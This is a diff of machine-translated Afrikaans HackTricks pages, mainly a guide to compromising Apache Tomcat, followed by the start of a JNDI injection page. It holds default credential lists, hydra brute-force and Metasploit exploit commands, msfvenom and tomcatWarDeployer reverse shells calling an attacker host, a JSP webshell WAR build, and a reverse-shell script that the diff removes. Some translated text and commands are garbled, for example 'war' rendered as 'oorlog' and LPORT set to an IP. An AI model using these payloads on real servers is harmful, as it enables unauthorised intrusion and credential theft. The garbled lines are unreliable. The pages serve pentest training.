* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**hacktricks-opslag**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud-opslag**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Vind kwesbaarhede wat die belangrikste is sodat jy dit vinniger kan regmaak. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag nog gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## Ontdekking
|
||||
|
||||
* Dit loop gewoonlik op **poort 8080**
|
||||
* Dit hardloop gewoonlik op **poort 8080**
|
||||
* **Gewone Tomcat-fout:**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (6).png" alt=""><figcaption></figcaption></figure>
|
||||
|
@ -30,54 +22,59 @@ Vind kwesbaarhede wat die belangrikste is sodat jy dit vinniger kan regmaak. Int
|
|||
## Enumerasie
|
||||
|
||||
### **Weergawe-identifikasie**
|
||||
Om die weergawe van Apache Tomcat te vind, kan 'n eenvoudige opdrag uitgevoer word:
|
||||
|
||||
Om die weergawe van Apache Tomcat te vind, kan 'n eenvoudige bevel uitgevoer word:
|
||||
```bash
|
||||
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
|
||||
```
|
||||
Hierdie sal soek na die term "Tomcat" in die dokumentasie-indeksbladsy, wat die weergawe in die titel-etiket van die HTML-reaksie sal onthul.
|
||||
### **Bestuurslêers Ligging**
|
||||
|
||||
### **Bestandslokasie van die Bestuurder**
|
||||
Die identifisering van die presiese lokasies van die **`/bestuurder`** en **`/host-bestuurder`** gids is noodsaaklik, aangesien hul name gewysig kan word. 'n Brute-force-soektog word aanbeveel om hierdie bladsye op te spoor.
|
||||
Die identifisering van die presiese ligging van die **`/bestuurder`** en **`/gasheer-bestuurder`** gids is noodsaaklik aangesien hul name verander kan word. 'n Brute-force soektog word aanbeveel om hierdie bladsye op te spoor.
|
||||
|
||||
### **Gebruikersnaam Enumerasie**
|
||||
Vir Tomcat-weergawes ouer as 6 is dit moontlik om gebruikersname te enumereer deur middel van:
|
||||
### **Gebruikersnaam Opsomming**
|
||||
|
||||
Vir Tomcat weergawes ouer as 6, is dit moontlik om gebruikersname op te som deur:
|
||||
```bash
|
||||
msf> use auxiliary/scanner/http/tomcat_enum
|
||||
```
|
||||
### **Verstek Wagwoorde**
|
||||
Die **`/bestuurder/html`** gids is besonder sensitief omdat dit die oplaai en implementering van WAR-lêers moontlik maak, wat kan lei tot kodering. Hierdie gids word beskerm deur basiese HTTP-verifikasie, met algemene wagwoorde wat insluit:
|
||||
- admin:admin
|
||||
- tomcat:tomcat
|
||||
- admin:<NIKS>
|
||||
- admin:s3cr3t
|
||||
- tomcat:s3cr3t
|
||||
- admin:tomcat
|
||||
|
||||
Hierdie wagwoorde kan getoets word deur die volgende te gebruik:
|
||||
Die **`/bestuurder/html`** gids is veral sensitief omdat dit die oplaai en implementering van WAR-lêers moontlik maak, wat tot kode-uitvoering kan lei. Hierdie gids word beskerm deur basiese HTTP-verifikasie, met algemene wagwoorde wat insluit:
|
||||
|
||||
* admin:admin
|
||||
* tomcat:tomcat
|
||||
* admin:
|
||||
* admin:s3cr3t
|
||||
* tomcat:s3cr3t
|
||||
* admin:tomcat
|
||||
|
||||
Hierdie wagwoorde kan getoets word met behulp van:
|
||||
```bash
|
||||
msf> use auxiliary/scanner/http/tomcat_mgr_login
|
||||
```
|
||||
'n Ander opmerklike gids is **`/bestuurder/status`**, wat die Tomcat- en OS-weergawe vertoon en help om kwesbaarhede te identifiseer.
|
||||
'n Ander opmerklike gids is **`/manager/status`**, wat die Tomcat en OS weergawe vertoon, wat help met die identifisering van kwesbaarhede.
|
||||
|
||||
### **Brute Force-aanval**
|
||||
Om 'n brute force-aanval op die bestuursgids te probeer, kan 'n mens gebruik maak van:
|
||||
### **Brute Force Aanval**
|
||||
|
||||
Om 'n brute force aanval op die bestuursgids te probeer, kan 'n mens gebruik maak van:
|
||||
```bash
|
||||
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
|
||||
```
|
||||
Saam met die instelling van verskeie parameters in Metasploit om 'n spesifieke gasheer te teiken.
|
||||
|
||||
## Algemene Kwesbaarhede
|
||||
|
||||
### **Wagwoord Terugspoor Openbaarmaking**
|
||||
Toegang tot `/auth.jsp` kan onder gunstige omstandighede die wagwoord in 'n terugspoor openbaar maak.
|
||||
### **Wagwoord Terugsporing Uitlekking**
|
||||
|
||||
Toegang tot `/auth.jsp` kan die wagwoord in 'n terugsporing onthul onder gunstige omstandighede.
|
||||
|
||||
### **Dubbele URL-kodering**
|
||||
Die CVE-2007-1860 kwesbaarheid in `mod_jk` maak dubbele URL-kodering padtraversal moontlik, wat ongemagtigde toegang tot die bestuurskoppelvlak via 'n spesiaal vervaardigde URL moontlik maak.
|
||||
|
||||
Die CVE-2007-1860 kwesbaarheid in `mod_jk` maak dubbele URL-kodering padtraversal moontlik, wat ongemagtigde toegang tot die bestuurskoppelvlak via 'n spesiaal saamgestelde URL moontlik maak.
|
||||
|
||||
Om toegang te verkry tot die bestuursweb van die Tomcat, gaan na: `pathTomcat/%252E%252E/manager/html`
|
||||
|
||||
### /voorbeelde
|
||||
Apache Tomcat-weergawes 4.x tot 7.x sluit voorbeeldskripte in wat vatbaar is vir inligtingsoopmaking en kruissite-skripting (XSS) aanvalle. Hierdie skripte, wat volledig gelys word, moet nagegaan word vir ongemagtigde toegang en potensiële uitbuiting. Vind [meer inligting hier](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
|
||||
|
||||
Apache Tomcat weergawes 4.x tot 7.x sluit voorbeeldskripte in wat vatbaar is vir inligtinguitlekking en kruisskripsaanvalle (XSS). Hierdie skripte, wat volledig gelys is, moet nagegaan word vir ongemagtigde toegang en potensiële uitbuiting. Vind [meer inligting hier](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
|
||||
|
||||
* /voorbeelde/jsp/num/numguess.jsp
|
||||
* /voorbeelde/jsp/dates/date.jsp
|
||||
|
@ -103,20 +100,20 @@ Apache Tomcat-weergawes 4.x tot 7.x sluit voorbeeldskripte in wat vatbaar is vir
|
|||
* /tomcat-docs/appdev/sample/web/hello.jsp
|
||||
|
||||
### **Padtraversal-uitbuiting**
|
||||
In sommige [**kwesbare konfigurasies van Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) kan jy toegang verkry tot beskermde gids in Tomcat deur die pad te gebruik: `/..;/`
|
||||
|
||||
So, byvoorbeeld, kan jy moontlik toegang tot die Tomcat-bestuurderbladsy verkry deur toegang te verkry tot: `www.vulnerable.com/lalala/..;/manager/html`
|
||||
In sommige [**kwesbare opsette van Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) kan jy toegang kry tot beskermde gids in Tomcat deur die pad te gebruik: `/..;/`
|
||||
|
||||
**'n Ander manier** om beskermde paaie te omseil deur hierdie truuk te gebruik, is om toegang te verkry tot `http://www.vulnerable.com/;param=value/manager/html`
|
||||
Dus, byvoorbeeld, kan jy **toegang tot die Tomcat-bestuurder** bladsy verkry deur toegang te verkry tot: `www.vulnerable.com/lalala/..;/manager/html`
|
||||
|
||||
**'n Ander manier** om beskermde paaie te verby te gaan deur hierdie truuk te gebruik, is om toegang te verkry tot `http://www.vulnerable.com/;param=value/manager/html`
|
||||
|
||||
## RCE
|
||||
|
||||
Laastens, as jy toegang het tot die Tomcat Web Application Manager, kan jy 'n .war-lêer oplaai en ontplooi (kode uitvoer).
|
||||
Laastens, as jy toegang het tot die Tomcat-webtoepassingsbestuurder, kan jy **'n .war-lêer oplaai en implementeer (kode uitvoer)**.
|
||||
|
||||
### Beperkings
|
||||
|
||||
Jy sal slegs 'n WAR kan ontplooi as jy **genoeg voorregte** het (rolle: **admin**, **manager** en **manager-script**). Hierdie besonderhede kan gevind word in _tomcat-users.xml_ wat gewoonlik gedefinieer word in `/usr/share/tomcat9/etc/tomcat-users.xml` (dit wissel tussen weergawes) (sien [POST](tomcat.md#post) afdeling).
|
||||
Jy sal slegs 'n WAR kan implementeer as jy **genoeg voorregte** het (rolle: **admin**, **bestuurder** en **bestuurder-skrips**). Hierdie besonderhede kan gevind word onder _tomcat-users.xml_ gewoonlik gedefinieer in `/usr/share/tomcat9/etc/tomcat-users.xml` (dit wissel tussen weergawes) (sien [POST](tomcat.md#post) afdeling).
|
||||
```bash
|
||||
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
|
||||
|
||||
|
@ -127,8 +124,6 @@ curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/mana
|
|||
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
|
||||
```
|
||||
### Metasploit
|
||||
|
||||
Metasploit is 'n kragtige raamwerk vir penetrasietoetse wat gebruik kan word om verskeie aanvalle uit te voer op 'n doelwitstelsel. Dit bied 'n verskeidenheid van gereedskap en modules wat deur penetrasietoetsers gebruik kan word om swakpunte in 'n stelsel te identifiseer en uit te buit. Metasploit maak gebruik van 'n databasis van bekende swakpunte en aanvalle om die penetrasietoetser te help om suksesvolle aanvalle uit te voer. Dit is 'n baie gewilde hulpmiddel in die hacker-gemeenskap en word gereeld bygewerk met nuwe modules en tegnieke.
|
||||
```bash
|
||||
use exploit/multi/http/tomcat_mgr_upload
|
||||
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
|
||||
|
@ -137,7 +132,7 @@ msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
|
|||
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
|
||||
msf exploit(multi/http/tomcat_mgr_upload) > exploit
|
||||
```
|
||||
### MSFVenom Omgekeerde Skulp
|
||||
### MSFVenom Omgekeerde Skul
|
||||
|
||||
1. Skep die oorlog om te ontplooi:
|
||||
```bash
|
||||
|
@ -145,56 +140,19 @@ msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o r
|
|||
```
|
||||
2. Laai die `revshell.war` lêer op en kry toegang daartoe (`/revshell/`):
|
||||
|
||||
### Bind en omgekeerde skulp met [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
|
||||
### Bind en omgekeerde dop met [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
|
||||
|
||||
In sommige scenario's werk dit nie (byvoorbeeld ou weergawes van sun)
|
||||
In sommige scenarios werk dit nie (byvoorbeeld ou weergawes van sun)
|
||||
|
||||
#### Aflaai
|
||||
```bash
|
||||
git clone https://github.com/mgeeky/tomcatWarDeployer.git
|
||||
```
|
||||
#### Omgekeerde skul
|
||||
|
||||
'n Omgekeerde skul is 'n tegniek wat gebruik word in netwerkpenetrering om 'n verbinding te maak tussen die aanvaller se masjien en die slagoffer se masjien. Hierdie tegniek maak dit moontlik vir die aanvaller om op afstand beheer oor die slagoffer se masjien te verkry.
|
||||
|
||||
Om 'n omgekeerde skul te skep, moet die aanvaller 'n skadelike kode op die slagoffer se masjien plaas. Hierdie kode sal dan 'n verbinding maak met die aanvaller se masjien en die beheer oor die slagoffer se masjien oorneem.
|
||||
|
||||
'n Omgekeerde skul kan gebruik word om verskeie take uit te voer, soos die verkryging van inligting, die uitvoering van opdragte en die installeer van verdere skadelike sagteware op die slagoffer se masjien.
|
||||
|
||||
Hier is 'n voorbeeld van 'n omgekeerde skul in Python:
|
||||
|
||||
```python
|
||||
import socket
|
||||
import subprocess
|
||||
|
||||
def reverse_shell():
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.connect(('attacker_ip', attacker_port))
|
||||
s.send(b'Connection established')
|
||||
|
||||
while True:
|
||||
command = s.recv(1024).decode()
|
||||
if command.lower() == 'exit':
|
||||
break
|
||||
output = subprocess.getoutput(command)
|
||||
s.send(output.encode())
|
||||
|
||||
s.close()
|
||||
|
||||
reverse_shell()
|
||||
```
|
||||
|
||||
In hierdie voorbeeld maak die kode 'n TCP-verbinding met die IP-adres van die aanvaller en 'n spesifieke poort. Dit stuur dan die boodskap "Connection established" na die aanvaller om die suksesvolle verbinding aan te dui.
|
||||
|
||||
Die kode wag dan vir opdragte van die aanvaller en voer dit uit op die slagoffer se masjien. Die uitvoer van die opdrag word teruggestuur na die aanvaller.
|
||||
|
||||
Dit is belangrik om te onthou dat die gebruik van omgekeerde skultegnieke sonder toestemming van die eienaar van die masjien onwettig is en streng bestraf kan word. Hierdie tegniek moet slegs gebruik word vir wettige doeleindes, soos in die geval van etiese hackers wat toestemming het om netwerke te toets vir sekuriteitskwessies.
|
||||
#### Omgekeerde dopshell
|
||||
```bash
|
||||
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
|
||||
```
|
||||
#### Bind skulp
|
||||
|
||||
'n Bind skulp is 'n tipe skulp wat gebruik word in netwerkdiens-pentesting om 'n verband te skep tussen die aanvaller se rekenaar en die teikenrekenaar. Hierdie skulp "bind" aan 'n spesifieke poort op die teikenrekenaar en wag vir 'n inkomende verbind. As 'n verbind gevestig word, kan die aanvaller beheer oor die teikenrekenaar verkry en verskeie aksies uitvoer, soos lêers oplaai, data verander of sagteware installeer. 'n Bind skulp is 'n nuttige tegniek vir aanvallers om toegang tot 'n teikenrekenaar te verkry en dit te misbruik vir hul eie doeleindes.
|
||||
#### Bind skul
|
||||
```bash
|
||||
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
|
||||
```
|
||||
|
@ -202,7 +160,7 @@ Dit is belangrik om te onthou dat die gebruik van omgekeerde skultegnieke sonder
|
|||
```bash
|
||||
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
|
||||
```
|
||||
### Handleidingsmetode - Web-skulp
|
||||
### Handmatige metode - Web shell
|
||||
|
||||
Skep **index.jsp** met hierdie [inhoud](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp):
|
||||
```java
|
||||
|
@ -235,11 +193,9 @@ jar -cvf ../webshell.war *
|
|||
webshell.war is created
|
||||
# Upload it
|
||||
```
|
||||
Jy kan ook hierdie installeer (laat oplaai, aflaai en opdrag uitvoer): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
|
||||
|
||||
### Handleiding Metode 2
|
||||
|
||||
Kry 'n JSP-webshell soos [hierdie](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) en skep 'n WAR-lêer:
|
||||
Kry 'n JSP-web dop soos [hierdie](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) en skep 'n WAR-lêer:
|
||||
```bash
|
||||
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
|
||||
zip -r backup.war cmd.jsp
|
||||
|
@ -248,11 +204,11 @@ zip -r backup.war cmd.jsp
|
|||
```
|
||||
## POST
|
||||
|
||||
Die naam van die Tomcat-geloofsbriewe-lêer is _tomcat-users.xml_.
|
||||
Naam van Tomcat-geloofsbriewe-lêer is _tomcat-users.xml_
|
||||
```bash
|
||||
find / -name tomcat-users.xml 2>/dev/null
|
||||
```
|
||||
Ander maniere om Tomcat-geloofsbriewe te versamel:
|
||||
### Ander maniere om Tomcat-gedragskode te versamel:
|
||||
```bash
|
||||
msf> use post/multi/gather/tomcat_gather
|
||||
msf> use post/windows/gather/enum_tomcat
|
||||
|
@ -262,25 +218,22 @@ msf> use post/windows/gather/enum_tomcat
|
|||
* [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)
|
||||
|
||||
## Verwysings
|
||||
|
||||
* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
|
||||
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
<summary><strong>Leer AWS hakwerk vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Vind kwesbaarhede wat die belangrikste is sodat jy dit vinniger kan regmaak. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag nog gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
|
||||
<img src="../../.gitbook/assets/image (675).png" alt="" data-size="original">
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
Vind kwesbaarhede wat die belangrikste is sodat jy hulle vinniger kan regmaak. Intruder spoor jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme reg oor jou hele tegnologie stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) vandag.
|
||||
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Werk jy in 'n **cybersekuriteitsmaatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Werk jy in 'n **cybersekerheidsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,146 +2,151 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Vind kwesbaarhede wat die belangrikste is sodat jy dit vinniger kan regstel. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag nog gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## Basiese Inligting
|
||||
|
||||
JNDI, wat sedert die laat 1990's in Java geïntegreer is, dien as 'n gidsdiens wat Java-programme in staat stel om data of voorwerpe deur 'n benamingsisteem te vind. Dit ondersteun verskeie gidse dienste deur diensverskafferinterfaces (SPI's), wat data-herwinning vanaf verskillende stelsels, insluitende afgeleë Java-voorwerpe, moontlik maak. Gewilde SPI's sluit CORBA COS, Java RMI Registry en LDAP in.
|
||||
JNDI, geïntegreer in Java sedert die laat 1990's, dien as 'n gidsdiens, wat Java-programme in staat stel om data of voorwerpe deur 'n benamingsisteem te vind. Dit ondersteun verskeie gidsdiensverskaffers deur diensverskafferinterfaces (SPI's), wat dataverkryging van verskillende stelsels, insluitend afgeleë Java-voorwerpe, moontlik maak. Gewone SPI's sluit CORBA COS, Java RMI Register, en LDAP in.
|
||||
|
||||
### JNDI Benamingsverwysing
|
||||
Java-voorwerpe kan gestoor en herwin word deur gebruik te maak van JNDI Benamingsverwysings, wat in twee vorms voorkom:
|
||||
|
||||
- **Benamingsadres**: Spesifiseer 'n voorwerp se ligging (bv. _rmi://bediener/benaming_), wat direkte herwinning vanaf die gespesifiseerde adres moontlik maak.
|
||||
- **Afgeleë Fabriek**: Verwys na 'n afgeleë fabrieksklas. Wanneer dit benader word, word die klas afgelaai en geïnstantieer vanaf die afgeleë ligging.
|
||||
Java-voorwerpe kan gestoor en opgehaal word deur JNDI Benamingsverwysings, wat in twee vorms voorkom:
|
||||
|
||||
Hierdie meganisme kan egter uitgebuit word, wat moontlik lei tot die laai en uitvoering van willekeurige kode. As 'n teenmaatreël:
|
||||
* **Benamingsadres**: Spesifiseer 'n voorwerp se ligging (bv., _rmi://bediener/ref_), wat direkte ophaling vanaf die gespesifiseerde adres moontlik maak.
|
||||
* **Afgeleë Fabriek**: Verwys na 'n afgeleë fabrieksklas. Wanneer dit benader word, word die klas afgelaai en geïnstantieer vanaf die afgeleë ligging.
|
||||
|
||||
- **RMI**: `java.rmi.server.useCodeabseOnly = true` is standaard vanaf JDK 7u21, wat afgeleë voorwerp-laai beperk. 'n Sekuriteitsbestuurder beperk verder wat gelaai kan word.
|
||||
- **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` is standaard vanaf JDK 6u141, 7u131, 8u121, wat die uitvoering van afgeleë gelaai Java-voorwerpe blokkeer. As dit op `true` ingestel word, is afgeleë kode-uitvoering moontlik sonder toesig van 'n Sekuriteitsbestuurder.
|
||||
- **CORBA**: Het nie 'n spesifieke eienskap nie, maar die Sekuriteitsbestuurder is altyd aktief.
|
||||
Hierdie meganisme kan egter uitgebuit word, wat moontlik lei tot die laai en uitvoering van willekeurige kode. As 'n teenmaatreeël:
|
||||
|
||||
Die **Benamingsbestuurder**, wat verantwoordelik is vir die oplossing van JNDI-skakels, het egter nie ingeboude sekuriteitsmeganismes nie, wat moontlik die herwinning van voorwerpe vanaf enige bron moontlik maak. Dit stel 'n risiko as RMI-, LDAP- en CORBA-beskerming omseil kan word, wat kan lei tot die laai van willekeurige Java-voorwerpe of die uitbuiting van bestaande toepassingskomponente (toestelle) om skadelike kode uit te voer.
|
||||
* **RMI**: `java.rmi.server.useCodeabseOnly = true` standaard vanaf JDK 7u21, wat afgeleë voorwerp laai beperk. 'n Sekuriteitsbestuurder beperk verder wat gelaai kan word.
|
||||
* **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` standaard vanaf JDK 6u141, 7u131, 8u121, wat die uitvoering van afgeleë gelaai Java-voorwerpe blokkeer. Indien ingestel op `true`, is afgeleë kode-uitvoering moontlik sonder 'n Sekuriteitsbestuurder se toesig.
|
||||
* **CORBA**: Het nie 'n spesifieke eienskap nie, maar die Sekuriteitsbestuurder is altyd aktief.
|
||||
|
||||
Die **Benamingsbestuurder**, verantwoordelik vir die oplossing van JNDI-skakels, het nie ingeboude sekuriteitsmeganismes nie, wat moontlik die ophaling van voorwerpe van enige bron toelaat. Dit stel 'n risiko as RMI, LDAP, en CORBA-beskerming omseil kan word, wat lei tot die laai van willekeurige Java-voorwerpe of die uitbuiting van bestaande toepassingskomponente (toestelle) om skadelike kode uit te voer.
|
||||
|
||||
Voorbeelde van uitbuitbare URL's sluit in:
|
||||
- _rmi://aanvaller-bediener/balk_
|
||||
- _ldap://aanvaller-bediener/balk_
|
||||
- _iiop://aanvaller-bediener/balk_
|
||||
|
||||
Ten spyte van beskerming bly kwesbaarhede bestaan, hoofsaaklik as gevolg van die gebrek aan beskerming teen die laai van JNDI vanuit onbetroubare bronne en die moontlikheid om bestaande beskerming te omseil.
|
||||
* _rmi://aanvaller-bediener/balk_
|
||||
* _ldap://aanvaller-bediener/balk_
|
||||
* _iiop://aanvaller-bediener/balk_
|
||||
|
||||
Ten spyte van beskerming bly kwesbaarhede, hoofsaaklik as gevolg van die gebrek aan beskerming teen die laai van JNDI van onbetroubare bronne en die moontlikheid om bestaande beskerming te omseil.
|
||||
|
||||
### JNDI Voorbeeld
|
||||
|
||||
![](<../../.gitbook/assets/image (655) (1) (1).png>)
|
||||
|
||||
Selfs as jy 'n **`PROVIDER_URL`** ingestel het, kan jy 'n ander een aandui in 'n opsoek en dit sal toegang kry: `ctx.lookup("<aanvaller-beheerde-url>")` en dit is wat 'n aanvaller sal misbruik om willekeurige voorwerpe vanaf 'n deur hom beheerde stelsel te laai.
|
||||
Selfs al het jy 'n **`PROVIDER_URL`** ingestel, kan jy 'n ander een aandui in 'n opsoek en dit sal benader word: `ctx.lookup("<aanvaller-beheerde-url>")` en dit is wat 'n aanvaller sal misbruik om willekeurige voorwerpe van 'n stelsel wat deur hom beheer word, te laai.
|
||||
|
||||
### CORBA Oorsig
|
||||
|
||||
CORBA (Common Object Request Broker Architecture) gebruik 'n **Interoperable Object Reference (IOR)** om afgeleë voorwerpe uniek te identifiseer. Hierdie verwysing bevat essensiële inligting soos:
|
||||
CORBA (Common Object Request Broker Architecture) maak gebruik van 'n **Interoperable Object Reference (IOR)** om afgeleë voorwerpe uniek te identifiseer. Hierdie verwysing sluit noodsaaklike inligting in soos:
|
||||
|
||||
- **Tipe-ID**: Unieke identifiseerder vir 'n koppelvlak.
|
||||
- **Kodebasis**: URL om die stub-klas te verkry.
|
||||
* **Tipe-ID**: Unieke identifiseerder vir 'n koppelvlak.
|
||||
* **Kodebasis**: URL vir die verkryging van die stub-klas.
|
||||
|
||||
Dit is opmerklik dat CORBA nie inherent kwesbaar is nie. Om sekuriteit te verseker, behels dit tipies:
|
||||
|
||||
- Installasie van 'n **Sekuriteitsbestuurder**.
|
||||
